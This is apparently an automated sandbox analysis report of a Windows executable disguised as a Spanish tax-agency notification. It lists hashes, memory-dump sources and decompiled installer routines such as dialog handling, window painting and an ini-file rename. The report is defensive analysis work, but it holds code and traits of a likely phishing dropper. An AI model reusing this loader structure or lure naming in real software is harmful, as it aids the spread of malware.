Opcode Fuzzy Hash: d473576f4309ddeaa6a3229f96e23a8916b986afd165d4446a4b733ea3f04624
Instruction Fuzzy Hash: DC51BF47E2E349DDE78365B0C5117D16B90DF031C9F148F8AD821F2562B72AAD8D2691

Uniqueness

Uniqueness Score: -1.00%

Function 048C07DE Relevance: 1.6, Strings: 1, Instructions: 306COMMON

Download Yara Rule

Strings

Ks41, xrefs: 048C43C3

Memory Dump Source

Source File: 00000000.00000002.2031116791.00000000048C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 048C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_48c0000_rAEAT-AvisodeNotificaci__n.jbxd

Yara matches

Similarity

API ID:
String ID: Ks41
API String ID: 0-3507627492
Opcode ID: 1bb69f7eadeba0014ae3abf7cbf65a9e8d1072af341a82399f557e39bed7b150
Instruction ID: a743163d1a3c1ed7179e020ad4fde4dc696966beeeaa9298c23580f0ad3653ea
Opcode Fuzzy Hash: 1bb69f7eadeba0014ae3abf7cbf65a9e8d1072af341a82399f557e39bed7b150
Instruction Fuzzy Hash: 6251B047E2E349C9E78364B085117E16B90DF030CAF158F8AD821F2552B72AEE8E2690

Uniqueness

Uniqueness Score: -1.00%

Function 048C0866 Relevance: 1.5, Strings: 1, Instructions: 295COMMON

Download Yara Rule

Strings

Ks41, xrefs: 048C43C3

Memory Dump Source

Source File: 00000000.00000002.2031116791.00000000048C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 048C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_48c0000_rAEAT-AvisodeNotificaci__n.jbxd

Yara matches

Similarity

API ID:
String ID: Ks41
API String ID: 0-3507627492
Opcode ID: 01fc6b16e7efa3956883f674771e13cf77c5d070cabce9df455e4ebf82c72b66
Instruction ID: bc26f68ac904b5ce9c88a6d247b93af8e278183c0882cfcf1c6e0014006f32e5
Opcode Fuzzy Hash: 01fc6b16e7efa3956883f674771e13cf77c5d070cabce9df455e4ebf82c72b66
Instruction Fuzzy Hash: C151CE47E2E35D9DE78364B0C5117E56B90DF030CAF148F8AD821F2152B72EEE8E1290

Uniqueness

Uniqueness Score: -1.00%

Function 00402862 Relevance: 1.5, APIs: 1, Instructions: 30
fileCOMMON

Download Yara Rule

C-Code - Quality: 39%

			E00402862(short __ebx, short* __esi) {
				void* _t21;

				if(FindFirstFileW(E00402C37(2), _t21 - 0x2d4) != 0xffffffff) {
					E004061A6( *((intOrPtr*)(_t21 - 0xc)), _t8);
					_push(_t21 - 0x2a8);
					_push(__esi);
					E0040625F();
				} else {
					 *((short*)( *((intOrPtr*)(_t21 - 0xc)))) = __ebx;
					 *__esi = __ebx;
					 *((intOrPtr*)(_t21 - 4)) = 1;
				}
				 *0x7a8ac8 =  *0x7a8ac8 +  *((intOrPtr*)(_t21 - 4));
				return 0;
			}

0x0040287a
0x00402895
0x004028a0
0x004028a1
0x004029db
0x0040287c
0x0040287f
0x00402882
0x00402885
0x00402885
0x00402ac2
0x00402ace

APIs

FindFirstFileW.KERNEL32(00000000,?,00000002), ref: 00402871

Memory Dump Source

Source File: 00000000.00000002.2027855003.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2027824053.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027935260.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007EF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rAEAT-AvisodeNotificaci__n.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 6634e00a7cf8ae9f81784cc3fd27b444408b2eeaa47297c107ee77c483e0c32a
Instruction ID: cb5017da262a82374af33b7b9c4435bd67f431664fd16e1eaa48b990974d77dd
Opcode Fuzzy Hash: 6634e00a7cf8ae9f81784cc3fd27b444408b2eeaa47297c107ee77c483e0c32a
Instruction Fuzzy Hash: 88F08C71A04104AFDB10EBA4DE49AADB378EF10314F2046BBF501F21D1DBB84E819B2A

Uniqueness

Uniqueness Score: -1.00%

Function 048C0986 Relevance: 1.5, Strings: 1, Instructions: 253COMMON

Download Yara Rule

Strings

Ks41, xrefs: 048C43C3

Memory Dump Source

Source File: 00000000.00000002.2031116791.00000000048C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 048C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_48c0000_rAEAT-AvisodeNotificaci__n.jbxd

Yara matches

Similarity

API ID:
String ID: Ks41
API String ID: 0-3507627492
Opcode ID: 201026d23c67fff8d9ce88511a253a1182ab3e21973f0fc8506260176d4e8da1
Instruction ID: 8fdaf7adcc0f72d58a5c0a6b2bb5af22105541c20bd9ae1ea97d153747c15731
Opcode Fuzzy Hash: 201026d23c67fff8d9ce88511a253a1182ab3e21973f0fc8506260176d4e8da1
Instruction Fuzzy Hash: 8D41DC07E1E3999DE783647086212D16BD0DF035CAF548F8AD822F2212F72AE9891290

Uniqueness

Uniqueness Score: -1.00%

Function 00404391 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 204
windowstringCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E00404391(struct HWND__* _a4, int _a8, unsigned int _a12, WCHAR* _a16) {
				intOrPtr _v8;
				int _v12;
				void* _v16;
				struct HWND__* _t56;
				intOrPtr _t69;
				signed int _t75;
				signed short* _t76;
				signed short* _t78;
				long _t92;
				int _t103;
				signed int _t108;
				signed int _t110;
				intOrPtr _t111;
				intOrPtr _t113;
				WCHAR* _t114;
				signed int* _t116;
				WCHAR* _t117;
				struct HWND__* _t118;

				if(_a8 != 0x110) {
					__eflags = _a8 - 0x111;
					if(_a8 != 0x111) {
						L13:
						__eflags = _a8 - 0x4e;
						if(_a8 != 0x4e) {
							__eflags = _a8 - 0x40b;
							if(_a8 == 0x40b) {
								 *0x79feec =  *0x79feec + 1;
								__eflags =  *0x79feec;
							}
							L27:
							_t114 = _a16;
							L28:
							return E0040425B(_a8, _a12, _t114);
						}
						_t56 = GetDlgItem(_a4, 0x3e8);
						_t114 = _a16;
						__eflags =  *((intOrPtr*)(_t114 + 8)) - 0x70b;
						if( *((intOrPtr*)(_t114 + 8)) == 0x70b) {
							__eflags =  *((intOrPtr*)(_t114 + 0xc)) - 0x201;
							if( *((intOrPtr*)(_t114 + 0xc)) == 0x201) {
								_t103 =  *((intOrPtr*)(_t114 + 0x1c));
								_t113 =  *((intOrPtr*)(_t114 + 0x18));
								_v12 = _t103;
								__eflags = _t103 - _t113 - 0x800;
								_v16 = _t113;
								_v8 = 0x7a69c0;
								if(_t103 - _t113 < 0x800) {
									SendMessageW(_t56, 0x44b, 0,  &_v16);
									SetCursor(LoadCursorW(0, 0x7f02));
									_push(1);
									E00404640(_a4, _v8);
									SetCursor(LoadCursorW(0, 0x7f00));
									_t114 = _a16;
								}
							}
						}
						__eflags =  *((intOrPtr*)(_t114 + 8)) - 0x700;
						if( *((intOrPtr*)(_t114 + 8)) != 0x700) {
							goto L28;
						} else {
							__eflags =  *((intOrPtr*)(_t114 + 0xc)) - 0x100;
							if( *((intOrPtr*)(_t114 + 0xc)) != 0x100) {
								goto L28;
							}
							__eflags =  *((intOrPtr*)(_t114 + 0x10)) - 0xd;
							if( *((intOrPtr*)(_t114 + 0x10)) == 0xd) {
								SendMessageW( *0x7a8a28, 0x111, 1, 0);
							}
							__eflags =  *((intOrPtr*)(_t114 + 0x10)) - 0x1b;
							if( *((intOrPtr*)(_t114 + 0x10)) == 0x1b) {
								SendMessageW( *0x7a8a28, 0x10, 0, 0);
							}
							return 1;
						}
					}
					__eflags = _a12 >> 0x10;
					if(_a12 >> 0x10 != 0) {
						goto L27;
					}
					__eflags =  *0x79feec; // 0x0
					if(__eflags != 0) {
						goto L27;
					}
					_t69 =  *0x7a0ef8; // 0xb5c044
					_t29 = _t69 + 0x14; // 0xb5c058
					_t116 = _t29;
					__eflags =  *_t116 & 0x00000020;
					if(( *_t116 & 0x00000020) == 0) {
						goto L27;
					}
					_t108 =  *_t116 & 0xfffffffe | SendMessageW(GetDlgItem(_a4, 0x40a), 0xf0, 0, 0) & 0x00000001;
					__eflags = _t108;
					 *_t116 = _t108;
					E00404216(SendMessageW(GetDlgItem(_a4, 0x40a), 0xf0, 0, 0) & 0x00000001);
					E0040461C();
					goto L13;
				} else {
					_t117 = _a16;
					_t75 =  *(_t117 + 0x30);
					if(_t75 < 0) {
						_t111 =  *0x7a79fc; // 0xb5eb9a
						_t75 =  *(_t111 - 4 + _t75 * 4);
					}
					_t76 =  *0x7a8a78 + _t75 * 2;
					_t110 =  *_t76 & 0x0000ffff;
					_a8 = _t110;
					_t78 =  &(_t76[1]);
					_a16 = _t78;
					_v16 = _t78;
					_v12 = 0;
					_v8 = E00404342;
					if(_t110 != 2) {
						_v8 = E00404308;
					}
					_push( *((intOrPtr*)(_t117 + 0x34)));
					_push(0x22);
					E004041F4(_a4);
					_push( *((intOrPtr*)(_t117 + 0x38)));
					_push(0x23);
					E004041F4(_a4);
					CheckDlgButton(_a4, (0 | ( !( *(_t117 + 0x14)) >> 0x00000005 & 0x00000001 |  *(_t117 + 0x14) & 0x00000001) == 0x00000000) + 0x40a, 1);
					E00404216( !( *(_t117 + 0x14)) >> 0x00000005 & 0x00000001 |  *(_t117 + 0x14) & 0x00000001);
					_t118 = GetDlgItem(_a4, 0x3e8);
					E00404229(_t118);
					SendMessageW(_t118, 0x45b, 1, 0);
					_t92 =  *( *0x7a8a34 + 0x68);
					if(_t92 < 0) {
						_t92 = GetSysColor( ~_t92);
					}
					SendMessageW(_t118, 0x443, 0, _t92);
					SendMessageW(_t118, 0x445, 0, 0x4010000);
					SendMessageW(_t118, 0x435, 0, lstrlenW(_a16));
					 *0x79feec = 0;
					SendMessageW(_t118, 0x449, _a8,  &_v16);
					 *0x79feec = 0;
					return 0;
				}
			}

0x004043a3
0x004044c3
0x004044d0
0x0040452d
0x0040452d
0x00404531
0x004045f7
0x004045fe
0x00404600
0x00404600
0x00404600
0x00404606
0x00404606
0x00404609
0x00000000
0x00404610
0x0040453f
0x00404545
0x00404548
0x0040454f
0x00404551
0x00404558
0x0040455a
0x0040455d
0x00404560
0x00404565
0x0040456b
0x0040456e
0x00404575
0x00404582
0x00404593
0x00404599
0x004045a1
0x004045af
0x004045b5
0x004045b5
0x00404575
0x00404558
0x004045b8
0x004045bf
0x00000000
0x004045c1
0x004045c1
0x004045c8
0x00000000
0x00000000
0x004045ca
0x004045ce
0x004045de
0x004045de
0x004045e0
0x004045e4
0x004045f0
0x004045f0
0x00000000
0x004045f4
0x004045bf
0x004044d8
0x004044db
0x00000000
0x00000000
0x004044e1
0x004044e7
0x00000000
0x00000000
0x004044ed
0x004044f2
0x004044f2
0x004044f5
0x004044f8
0x00000000
0x00000000
0x0040451f
0x0040451f
0x00404521
0x00404523
0x00404528
0x00000000
0x004043a9
0x004043a9
0x004043ac
0x004043b1
0x004043b3
0x004043c2
0x004043c2
0x004043ca
0x004043cd
0x004043d1
0x004043d4
0x004043d8
0x004043db
0x004043de
0x004043e1
0x004043e8
0x004043ea
0x004043ea
0x004043f4
0x00404401
0x0040440b
0x00404410
0x00404413
0x00404418
0x0040442f
0x00404436
0x00404449
0x0040444c
0x00404460
0x00404467
0x0040446c
0x00404471
0x00404471
0x0040447f
0x0040448d
0x0040449f
0x004044a4
0x004044b4
0x004044b6
0x00000000
0x004044bc

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 0040442F
GetDlgItem.USER32(?,000003E8), ref: 00404443
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 00404460
GetSysColor.USER32(?), ref: 00404471
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 0040447F
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 0040448D
lstrlenW.KERNEL32(?), ref: 00404492
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 0040449F
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 004044B4
GetDlgItem.USER32(?,0000040A), ref: 0040450D
SendMessageW.USER32(00000000), ref: 00404514
GetDlgItem.USER32(?,000003E8), ref: 0040453F
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 00404582
LoadCursorW.USER32(00000000,00007F02), ref: 00404590
SetCursor.USER32(00000000), ref: 00404593
LoadCursorW.USER32(00000000,00007F00), ref: 004045AC
SetCursor.USER32(00000000), ref: 004045AF
SendMessageW.USER32(00000111,00000001,00000000), ref: 004045DE
SendMessageW.USER32(00000010,00000000,00000000), ref: 004045F0

Strings

Call, xrefs: 0040456E
N, xrefs: 0040452D

Memory Dump Source

Source File: 00000000.00000002.2027855003.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2027824053.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027935260.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007EF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rAEAT-AvisodeNotificaci__n.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorlstrlen
String ID: Call$N
API String ID: 3103080414-3438112850
Opcode ID: 631cabfc39bdc86844b6c5ef759f4df1482c42644a70fa64dc4549b5ea516eb1
Instruction ID: 51cb052740ae368b0964ded38bc47e0fd82963d20e12a5d8f79ead0afd290bbe
Opcode Fuzzy Hash: 631cabfc39bdc86844b6c5ef759f4df1482c42644a70fa64dc4549b5ea516eb1
Instruction Fuzzy Hash: 636190B1900209BFDB10DF60DD45AAA7B69FB85344F00853AF705B61E0DB7DA951CF98

Uniqueness

Uniqueness Score: -1.00%

Function 00401000 Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 125
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E00401000(struct HWND__* _a4, void* _a8, signed int _a12, void* _a16) {
				struct tagLOGBRUSH _v16;
				struct tagRECT _v32;
				struct tagPAINTSTRUCT _v96;
				struct HDC__* _t70;
				struct HBRUSH__* _t87;
				struct HFONT__* _t94;
				long _t102;
				signed int _t126;
				struct HDC__* _t128;
				intOrPtr _t130;

				if(_a8 == 0xf) {
					_t130 =  *0x7a8a34;
					_t70 = BeginPaint(_a4,  &_v96);
					_v16.lbStyle = _v16.lbStyle & 0x00000000;
					_a8 = _t70;
					GetClientRect(_a4,  &_v32);
					_t126 = _v32.bottom;
					_v32.bottom = _v32.bottom & 0x00000000;
					while(_v32.top < _t126) {
						_a12 = _t126 - _v32.top;
						asm("cdq");
						asm("cdq");
						asm("cdq");
						_v16.lbColor = 0 << 0x00000008 | (( *(_t130 + 0x50) & 0x000000ff) * _a12 + ( *(_t130 + 0x54) & 0x000000ff) * _v32.top) / _t126 & 0x000000ff;
						_t87 = CreateBrushIndirect( &_v16);
						_v32.bottom = _v32.bottom + 4;
						_a16 = _t87;
						FillRect(_a8,  &_v32, _t87);
						DeleteObject(_a16);
						_v32.top = _v32.top + 4;
					}
					if( *(_t130 + 0x58) != 0xffffffff) {
						_t94 = CreateFontIndirectW( *(_t130 + 0x34));
						_a16 = _t94;
						if(_t94 != 0) {
							_t128 = _a8;
							_v32.left = 0x10;
							_v32.top = 8;
							SetBkMode(_t128, 1);
							SetTextColor(_t128,  *(_t130 + 0x58));
							_a8 = SelectObject(_t128, _a16);
							DrawTextW(_t128, "Geoduck Setup", 0xffffffff,  &_v32, 0x820);
							SelectObject(_t128, _a8);
							DeleteObject(_a16);
						}
					}
					EndPaint(_a4,  &_v96);
					return 0;
				}
				_t102 = _a16;
				if(_a8 == 0x46) {
					 *(_t102 + 0x18) =  *(_t102 + 0x18) | 0x00000010;
					 *((intOrPtr*)(_t102 + 4)) =  *0x7a8a28;
				}
				return DefWindowProcW(_a4, _a8, _a12, _t102);
			}

0x0040100a
0x00401039
0x00401047
0x0040104d
0x00401051
0x0040105b
0x00401061
0x00401064
0x004010f3
0x00401089
0x0040108c
0x004010a6
0x004010bd
0x004010cc
0x004010cf
0x004010d5
0x004010d9
0x004010e4
0x004010ed
0x004010ef
0x004010ef
0x00401100
0x00401105
0x0040110d
0x00401110
0x00401112
0x00401118
0x0040111f
0x00401126
0x00401130
0x00401142
0x00401156
0x00401160
0x00401165
0x00401165
0x00401110
0x0040116e
0x00000000
0x00401178
0x00401010
0x00401013
0x00401015
0x0040101f
0x0040101f
0x00000000

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,Geoduck Setup,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

Geoduck Setup, xrefs: 00401150
F, xrefs: 0040100C

Memory Dump Source

Source File: 00000000.00000002.2027855003.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2027824053.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027935260.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007EF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rAEAT-AvisodeNotificaci__n.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F$Geoduck Setup
API String ID: 941294808-3364266870
Opcode ID: 218f2c87b148b58c94c6785b51cf5afc075c1faf60bc5df3e6f759b2377d660f
Instruction ID: 0958fbfe94b1809001ec2c76305b3cf500f7264b01c73c256976ee1787a3906e
Opcode Fuzzy Hash: 218f2c87b148b58c94c6785b51cf5afc075c1faf60bc5df3e6f759b2377d660f
Instruction Fuzzy Hash: B1418C71800209AFCF058F95DE459AF7BB9FF45310F00842AF591AA1A0CB38D954DFA4

Uniqueness

Uniqueness Score: -1.00%

Function 00405EAB Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 130
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405EAB(void* __ecx) {
				void* __ebx;
				void* __edi;
				void* __esi;
				long _t12;
				long _t24;
				char* _t31;
				int _t37;
				void* _t38;
				intOrPtr* _t39;
				long _t42;
				WCHAR* _t44;
				void* _t46;
				void* _t48;
				void* _t49;
				void* _t52;
				void* _t53;

				_t38 = __ecx;
				_t44 =  *(_t52 + 0x14);
				 *0x7a55c0 = 0x55004e;
				 *0x7a55c4 = 0x4c;
				if(_t44 == 0) {
					L3:
					_t12 = GetShortPathNameW( *(_t52 + 0x1c), 0x7a5dc0, 0x400);
					if(_t12 != 0 && _t12 <= 0x400) {
						_t37 = wsprintfA(0x7a51c0, "%ls=%ls\r\n", 0x7a55c0, 0x7a5dc0);
						_t53 = _t52 + 0x10;
						E00406281(_t37, 0x400, 0x7a5dc0, 0x7a5dc0,  *((intOrPtr*)( *0x7a8a34 + 0x128)));
						_t12 = E00405D51(0x7a5dc0, 0xc0000000, 4);
						_t48 = _t12;
						 *(_t53 + 0x18) = _t48;
						if(_t48 != 0xffffffff) {
							_t42 = GetFileSize(_t48, 0);
							_t6 = _t37 + 0xa; // 0xa
							_t46 = GlobalAlloc(0x40, _t42 + _t6);
							if(_t46 == 0 || E00405DD4(_t48, _t46, _t42) == 0) {
								L18:
								return CloseHandle(_t48);
							} else {
								if(E00405CB6(_t38, _t46, "[Rename]\r\n") != 0) {
									_t49 = E00405CB6(_t38, _t21 + 0xa, "\n[");
									if(_t49 == 0) {
										_t48 =  *(_t53 + 0x18);
										L16:
										_t24 = _t42;
										L17:
										E00405D0C(_t24 + _t46, 0x7a51c0, _t37);
										SetFilePointer(_t48, 0, 0, 0);
										E00405E03(_t48, _t46, _t42 + _t37);
										GlobalFree(_t46);
										goto L18;
									}
									_t39 = _t46 + _t42;
									_t31 = _t39 + _t37;
									while(_t39 > _t49) {
										 *_t31 =  *_t39;
										_t31 = _t31 - 1;
										_t39 = _t39 - 1;
									}
									_t24 = _t49 - _t46 + 1;
									_t48 =  *(_t53 + 0x18);
									goto L17;
								}
								lstrcpyA(_t46 + _t42, "[Rename]\r\n");
								_t42 = _t42 + 0xa;
								goto L16;
							}
						}
					}
				} else {
					CloseHandle(E00405D51(_t44, 0, 1));
					_t12 = GetShortPathNameW(_t44, 0x7a55c0, 0x400);
					if(_t12 != 0 && _t12 <= 0x400) {
						goto L3;
					}
				}
				return _t12;
			}

0x00405eab
0x00405eb4
0x00405ebb
0x00405ec5
0x00405ed9
0x00405f01
0x00405f0c
0x00405f10
0x00405f30
0x00405f37
0x00405f41
0x00405f4e
0x00405f53
0x00405f58
0x00405f5c
0x00405f6b
0x00405f6d
0x00405f7a
0x00405f7e
0x00406019
0x00000000
0x00405f94
0x00405fa1
0x00405fc5
0x00405fc9
0x00405fe8
0x00405fec
0x00405fec
0x00405fee
0x00405ff7
0x00406002
0x0040600d
0x00406013
0x00000000
0x00406013
0x00405fcb
0x00405fce
0x00405fd9
0x00405fd5
0x00405fd7
0x00405fd8
0x00405fd8
0x00405fe0
0x00405fe2
0x00000000
0x00405fe2
0x00405fac
0x00405fb2
0x00000000
0x00405fb2
0x00405f7e
0x00405f5c
0x00405edb
0x00405ee6
0x00405eef
0x00405ef3
0x00000000
0x00000000
0x00405ef3
0x00406024

APIs

CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,00000000,?,?,00406046,?,?), ref: 00405EE6
GetShortPathNameW.KERNEL32(?,007A55C0,00000400), ref: 00405EEF

Part of subcall function 00405CB6: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405F9F,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405CC6
Part of subcall function 00405CB6: lstrlenA.KERNEL32(00000000,?,00000000,00405F9F,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405CF8

GetShortPathNameW.KERNEL32(?,007A5DC0,00000400), ref: 00405F0C
wsprintfA.USER32 ref: 00405F2A
GetFileSize.KERNEL32(00000000,00000000,007A5DC0,C0000000,00000004,007A5DC0,?,?,?,?,?), ref: 00405F65
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 00405F74
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405FAC
SetFilePointer.KERNEL32(0040A560,00000000,00000000,00000000,00000000,007A51C0,00000000,-0000000A,0040A560,00000000,[Rename],00000000,00000000,00000000), ref: 00406002
GlobalFree.KERNEL32(00000000), ref: 00406013
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 0040601A

Part of subcall function 00405D51: GetFileAttributesW.KERNELBASE(?,00402F01,C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe,80000000,?,?,00000006,00000008,0000000A), ref: 00405D55
Part of subcall function 00405D51: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,00000006,00000008,0000000A), ref: 00405D77

Strings

%ls=%ls, xrefs: 00405F20
[Rename], xrefs: 00405F94, 00405FA6

Memory Dump Source

Source File: 00000000.00000002.2027855003.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2027824053.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027935260.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027970951.00000000007CE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007E9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2029391421.00000000007EF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_rAEAT-AvisodeNotificaci__n.jbxd

Similarity

